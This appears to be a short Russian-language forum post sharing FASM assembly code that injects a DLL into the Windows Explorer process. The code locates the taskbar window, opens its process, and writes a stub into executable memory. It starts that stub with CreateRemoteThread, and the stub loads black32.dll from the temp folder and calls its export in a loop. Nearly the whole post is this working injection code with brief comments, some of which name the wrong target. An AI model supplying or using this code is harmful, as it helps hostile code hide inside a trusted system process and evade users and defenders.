данный код грузит с текушей директории файл black32.dll в процесс ехплорера, и вызывает функ myshit из этой dll
| Код | format PE;GUI 4.0 csize=mycodeE-mycode
entry start
include '%fasminc%\win32a.inc' include '%fasminc%\api.inc'
section '500mhz' code readable executable writeable start:
call reloc call findEXP call writeproc
запускаем наш код в процессе ИЕ invoke CreateRemoteThread,[phdr],0,0x1000,[mbase],0,0,0 invoke ExitProcess,0
reloc: тут создает имитацию ипорт табле для кода mov eax,[LoadLibrary] mov [LoadLibraryz],eax mov eax,[Sleep] mov [Sleepz],eax mov eax,[GetProcAddress] mov [GetProcAddressz],eax mov eax,[SetCurrentDirectory] mov [SetCurrentDirectoryz],eax mov eax,[GetTempPath] mov [GetTempPathz],eax ret
writeproc: тут пишем наш код в процесс ИЕ invoke VirtualAllocEx,[phdr],0,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE mov [mbase],eax invoke WriteProcessMemory,[phdr],[mbase],mycode,csize,0 ret findEXP: тут исчем окно ИЕ и открываем его процесс invoke FindWindow,clss,0 invoke GetWindowThreadProcessId,eax,pid invoke OpenProcess,PROCESS_ALL_ACCESS,TRUE,[pid] mov [phdr],eax ret ;******************************* mycode: call z1 z1: mov eax,[esp] add eax,dir-z1 mov esi,[esp] push eax push 0xff call dword [esi+16+importz-z1];GetTempPath
mov eax,[esp] add eax,dir-z1 mov esi,[esp] push eax call dword [esi+12+importz-z1];SetCurrentDirectory
mov eax,[esp] add eax,libn-z1 mov esi,[esp] push eax call dword [esi+importz-z1] ;LoadLibraryz
mov ebx,[esp] add ebx,func-z1 mov esi,[esp] push ebx push eax call dword [esi+4+importz-z1] ;GetProcAddressz call eax go: mov esi,[esp] push 1000 call dword [esi+8+importz-z1] ;Sleep jmp go libn: db 'black32.dll',0 func: db 'myshit',0
;******************************* importz: LoadLibraryz: dd 0 ; 0 GetProcAddressz: dd 0 ;+4 Sleepz: dd 0 ;+8 SetCurrentDirectoryz: dd 0 ;+12 GetTempPathz: dd 0 ;+16 dir:
mycodeE: ;*******************************
clss: db 'Shell_TrayWnd',0 pid: dd ? phdr: dd ? mbase: dd ? sinfo STARTUPINFO pinfo PROCESS_INFORMATION
| |